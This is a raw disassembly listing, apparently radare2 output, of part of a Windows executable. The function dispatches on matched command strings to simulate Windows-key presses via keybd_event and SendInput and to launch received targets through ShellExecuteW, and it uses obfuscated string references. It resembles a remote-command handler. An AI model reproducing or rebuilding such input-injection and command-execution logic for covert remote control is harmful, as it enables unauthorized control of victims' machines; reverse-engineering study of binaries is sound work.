lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.00429fb0
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
lea ecx, [ebp - 0xe4]
call fcn.0042b0f0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x51fb6c
mov edx, 0x5b5700
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x520495
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520460
sub ecx, dword [ebp - 0x2c]
je 0x520495
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520495
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520480
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52049c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5204d0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5204c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c6c
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520564
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520510
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00521e30
test al, al
je 0x51f225
mov byte [esi + 0x9c], 1
jmp 0x51f225
mov edx, 0x5b5718
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x5205b5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520580
sub ecx, dword [ebp - 0x2c]
je 0x5205b5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5205b5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5205a0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5205bc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5205f0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5205e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c26
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5207fa
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520630
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00521e30
test al, al
je 0x51f225
mov byte [ebp - 4], 0x4e
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521cd0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.00429fb0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00431080
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x298]
call fcn.00432260
lea ecx, [ebp - 0x298]
call fcn.00431000
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x2c]
call fcn.00441670
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041e770
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52076d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042b0f0
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042b170
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.0051d590
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x5207dc
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5207d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c26
push ecx
push edx
call fcn.00545311
add esp, 8
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x51f225
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51f225
mov edx, 0x5b5760
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x52084a
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520815
sub ecx, dword [ebp - 0x2c]
je 0x52084a
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52084a
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520835
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520851
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520885
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52087b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c26
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5209c4
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5208c0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00447800
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00521d50
mov ecx, dword [eax]
test ecx, ecx
je 0x520974
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042b170
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045b0f0
jmp 0x520977
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520991
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5209a9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x51f23b
mov edx, 0x5b5910
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x520a15
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5209e0
sub ecx, dword [ebp - 0x2c]
je 0x520a15
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520a15
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520a00
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520a1c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520a50
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520a46
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c26
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520c21
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520a90
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x589e44
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042b6d0
test al, al
jne 0x520af2
push 0
push 0x589e44
lea ecx, [ebp - 0x3c]
call fcn.0042b9f0
mov byte [ebp - 4], 0x5b
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push 0x589e44
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5c
call fcn.0042b6d0
test al, al
jne 0x520b36
push 0
push 0x589e44
lea ecx, [ebp - 0x40]
call fcn.0042b9f0
mov byte [ebp - 4], 0x5d
call fcn.0042b460
mov ecx, eax
test ecx, ecx
je 0x521c30
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x589e44
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042b6d0
test al, al
jne 0x520b7a
push 0
push 0x589e44
lea ecx, [ebp - 0x34]
call fcn.0042b9f0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00447c20
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x40]
push dword [ebp - 0x20]
push eax
call fcn.00449710
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520bd4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520bee
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x520c06
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x51f23b
mov edx, 0x5b57d8
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x520c75
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c40
sub ecx, dword [ebp - 0x2c]
je 0x520c75
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520c75
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520c60
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520c7c
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp dword [ebp - 0x20], 0
je 0x520e01
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042abf0
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.00521d50
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041d070
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042ab20
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042a8a0
lea ecx, [ebp - 0x2c]
call fcn.00441670
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041e770
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.00406250
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x520d1d.5
movzx eax, byte [eax + 0x521d04]
jmp dword [eax*4 + 0x521cf0]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042ab20
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x62
call fcn.0042b0f0
jmp 0x520dc0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406340
jmp 0x520dc0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x520dc0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x520dc0
test edi, edi
je 0x520de6
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045b0f0
lea ecx, [ebp - 0x130]
call fcn.0042b0f0
lea ecx, [ebp - 0x38]
call fcn.00406250
lea ecx, [ebp - 0x3c]
jmp 0x521b8c
mov edx, 0x5b58e0
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x520e55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520e20
sub ecx, dword [ebp - 0x2c]
je 0x520e55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520e55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520e40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520e5c
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp dword [ebp - 0x20], 0
je 0x5213cd
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520ea0
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b5a00
call fcn.00441540
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x520eda
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00451540
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp byte [ebp - 0x2d], 0
je 0x520fd2
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.005471c0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x5213a9
mov edx, 0x5b5a18
lea ecx, [ebp - 0x60]
call fcn.00441540
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x520fea
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00451540
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp byte [ebp - 0x2d], 0
je 0x521035
push 0
push 0
push 0x449650
call fcn.005514ba
add esp, 0xc
jmp 0x5213a9
mov edx, 0x5b5a30
lea ecx, [ebp - 0x60]
call fcn.00441540
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52104d
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00451540
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x5211c3
mov edx, 0x5b59d0
call fcn.00441540
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x52109f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042abf0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x68
call fcn.00429e40
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x5213a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042bb00
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042bb00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042bb00
lea ecx, [ebp - 0x38]
call fcn.0041d070
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041e770
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.00406250
push 0x589e44
lea ecx, [ebp - 0x44]
call fcn.0042bb00
push 0x589e44
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6e
call fcn.0042bb00
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004418d0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov byte [ebp - 4], 0x71
jmp 0x521349
mov edx, str.YV9qYQ
call fcn.00441540
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5211d8
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00451540
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp byte [ebp - 0x2d], 0
je 0x5213a9
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00441540
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x52122a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042abf0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x74
call fcn.00429e40
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x5213a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042bb00
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042bb00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042bb00
lea ecx, [ebp - 0x38]
call fcn.0041d070
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041e770
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.00406250
push 0x589e44
lea ecx, [ebp - 0x44]
call fcn.0042bb00
push 0x589e44
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x7a
call fcn.0042bb00
push ecx
mov byte [ebp - 4], 0x7b
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.004418d0
mov edi, eax
mov byte [ebp - 4], 0x7c
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042b170
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.004418d0
add esp, 4
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.004523c0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406250
lea ecx, [ebp - 0x48]
call fcn.00406250
lea ecx, [ebp - 0x20]
call fcn.00406250
lea ecx, [ebp - 0x44]
call fcn.00406250
lea ecx, [ebp - 0x38]
call fcn.00406250
lea ecx, [ebp - 0x1c]
call fcn.00406250
lea ecx, [ebp - 0x3c]
call fcn.00406250
lea ecx, [ebp - 0x40]
call fcn.00406250
lea ecx, [ebp - 0x34]
call fcn.00406250
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x521b91
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042bc30
add esp, 8
jmp 0x521b91
mov edx, 0x5b5928
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x52141d
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5213e8
sub ecx, dword [ebp - 0x2c]
je 0x52141d
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52141d
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521408
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521424
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429e40
cmp dword [ebp - 0x20], 0
je 0x5214e0
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521467
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.005220a0
add esp, 8
call fcn.0054a3ed
lea ecx, [ebp - 0xe4]
mov edi, eax
call fcn.00429c90
